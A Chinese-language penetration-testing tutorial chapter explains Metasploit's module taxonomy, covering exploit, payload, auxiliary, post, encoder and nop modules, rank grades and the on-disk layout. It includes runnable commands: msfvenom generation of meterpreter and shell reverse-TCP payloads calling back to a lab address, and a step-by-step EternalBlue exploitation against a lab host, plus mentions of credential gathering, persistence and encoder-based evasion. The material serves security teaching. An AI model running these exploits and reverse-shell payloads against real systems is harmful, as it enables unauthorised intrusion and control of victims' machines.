2.2 模块分类体系(Module Tree)


2.2 模块分类体系(Module Tree)

本节摘要:SOURCE 2.3:Exploits、Payloads(staged/stageless)、Auxiliary、Post、Encoders、Nops;模块路径即分类法。

动手:模块路径解读

Metasploit 的模块路径本身就是文档,学会读路径,就等于学会了分类体系:

exploit/windows/smb/ms17_010_eternalblue │ │ └── CVE 模块名 │ └── 服务 └── 平台 payload/windows/meterpreter/reverse_tcp └── staged meterpreter 反向 TCP

平台决定目标环境(windows/linux/multi/unix),服务决定协议层(smb/http/ssh),名称往往直接对应 CVE 或技术名。路径的第一段就是模块类型,第二段之后是战术组织。

六类模块的分工

类型 前缀 作用
Exploit exploit/ 利用漏洞
Payload payload/ 执行体
Auxiliary auxiliary/scanner/ 扫描 fuzz
Post post/windows/ 后渗透
Encoder encoder/ 免杀变换
Nop nop/ 滑块

Exploit:撕开防线的矛头

Exploit 模块是特定漏洞的触发器,不包含最终指令。它的职责是改变程序执行流——比如栈溢出时构造返回地址覆盖 EIP/RIP。框架把底层细节封装在标准 API 之后,使用者只需关心目标选择与参数配置。

# 选模块前的三个自问(配合 info 命令) info exploit/windows/smb/ms17_010_eternalblue # 1. Supported targets 里有没有目标 OS/架构? # 2. Rank 是多少?excellent/great 优先于 manual # 3. 是否支持 check?可先做非破坏验证

Payload:被攻击后执行的代码

Payload 分三大类:单级(stageless)、stager(传输体)、stage。当缓冲区空间不足以承载完整后门时,先用极小的 stager 回连下载 stage。经典路径 windows/meterpreter/reverse_tcp 就是 staged 模式:

  • staged/meterpreter/ 中间带斜杠):体积小、适合受限环境,但多一步下载行为,易被 EDR 发现
  • stagelessmeterpreter_reverse_tcp 中间下划线):完整 DLL 一次性打包,体积大但网络特征少
# 体积对比(隔离环境观察) msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o staged.bin msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o stageless.bin ls -la staged.bin stageless.bin # staged 往往只有几百字节,stageless 达几十到几百 KB

Auxiliary:侦察与干扰

Auxiliary 不以获取权限为目标,负责端口扫描、服务指纹、弱口令爆破、模糊测试。它的输出是情报而非会话。例如 auxiliary/scanner/smb/smb_login 用字典尝试 SMB 登录——这是后续横向移动的素材来源。

Post:深入敌后的巩固

Post 模块依赖已有 session,运行在目标系统上下文中。提权(检测未修补 CVE)、信息收集(网络配置、软件列表、凭据)、持久化(注册表、计划任务)都在这一层。APT 模拟中 Post 使用频率远高于 Exploit。

Encoder 与 Nop:隐身技术栈

  • Encoder:解决坏字符问题(空字节、换行会被协议截断),对原始载荷做 XOR、Base64 等变换,运行时自解码还原。x86/shikata_ga_nai 是经典多态编码器(详见 5.3)
  • Nop:生成 NOP 滑行区(x86 的 0x90),提高缓冲溢出中跳转落点的命中率,多态 NOP 还能增加静态分析难度
# 观察编码器对坏字符的处理思路(教学演示) msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.56.1 LPORT=4444 \ -e x86/xor_dynamic -f c # 输出 C 格式 shellcode,可观察编码后的字节序列特征

02-02-fig01-6

模块间的调用关系

攻击者控制台 → Exploit → 触发漏洞 → Payload 接管 └→ Auxiliary(情报) └→ Stager 下载 Stage → Meterpreter/Shell └→ 会话建立后 → Post 模块

整套体系是完整闭环:Auxiliary 侦察 → Exploit 突破 → Payload 建立通道 → Post 深入控制 → Encoder/Nop 保障到达。

⚠️ 常见坑:把 auxiliary 当 exploit 跑——aux 通常无 payload 会话,跑完只返回情报表格;另一个坑是混用 staged/stageless 命名,_reverse_tcpreverse_tcp 一字之差,行为完全不同。

💡 关键直觉:路径即文档;看 rank(excellent/good)估成功率。show payloadsshow auxiliaryshow post 可以随时按类型浏览整个武器库。

本章回顾

  • Staged payload 分阶段下载,体积更小,但多一次下载行为
  • Post 模块需已有 session,是后渗透的主力
  • Encoder 多次 -e 可能破坏坏字符约束、膨胀体积,需权衡
  • 六类模块构成"侦察—突破—控制—隐身"的完整攻击闭环

Rank 分级:如何估成功率

每个模块都有 rank 属性,基于稳定性、副作用风险与默认配置可用性分级:

Rank 含义 使用建议
excellent 极稳定,几乎不会打崩目标 优先选择
great 高可靠,默认配置即可用 常用
good 可用,但可能需要调参 谨慎
normal / manual 实验性或需大量手工 仅明确场景使用
# 查看模块排名与支持目标 msf6 > use exploit/multi/http/struts2_rest_xstream msf6 exploit(multi/http/struts2_rest_xstream) > info # Rank: excellent # Targets: 0 => Universal # 1 => Windows x64 # 2 => Linux x64

经验法则:有 excellent 模块就不急着用 manual;info 里没有目标平台匹配,就不该硬跑。

实际选模块的流程

一个规范的选模块流程,是把搜索、情报、验证串起来:

# 1. 基于扫描情报搜索(假设数据库已导入) db_nmap -sV -p445 192.168.56.10 services -p 445 # 192.168.56.10 445 tcp microsoft-ds Windows 7 SP1 # 2. 搜索对应漏洞模块 search type:exploit platform:windows name:smb cve:2017 # 3. 看 info 确认 target 匹配 info exploit/windows/smb/ms17_010_eternalblue # 4. 支持 check 的先做非破坏验证 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.10 check # [+] 192.168.56.10:445 - The target is vulnerable.
# 5. 选 payload 并执行 set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.56.1 run

这套"情报 → 搜索 → 验证 → 执行"的流程,把第 2 章的分类知识与第 3 章的工作流衔接起来。

模块目录的物理结构

模块在磁盘上是普通 Ruby 文件,理解这一点有利于二次开发:

/usr/share/metasploit-framework/modules/ ├── exploits/ # 漏洞利用 ├── payloads/ # 攻击载荷(stagers/stages/singles) ├── auxiliary/ # 扫描/侦察/爆破 ├── post/ # 后渗透(windows/linux/multi/gather/manage) ├── encoders/ # 编码器(x86/x64 等多态/静态) ├── nops/ # NOP 生成器 └── evasion/ # 规避模块(较新分类)
# 观察目录结构 ls /usr/share/metasploit-framework/modules/exploits/windows/smb/ # 文件名与模块名一一对应

自定义模块放入 ~/.msf4/modules/(或 ~/.msf6/modules/)即可被 searchuse 发现——这是 5.2 章模块开发的前置知识。


作者与出处
原作者: 灏天文库
来源:灏天文库
整理: 灏天文库整理
由灏天文库平台收录,内容或由平台用户上传,仅供学习交流
发布者: 作者: 灏天文库 转发
评论区 (0)
U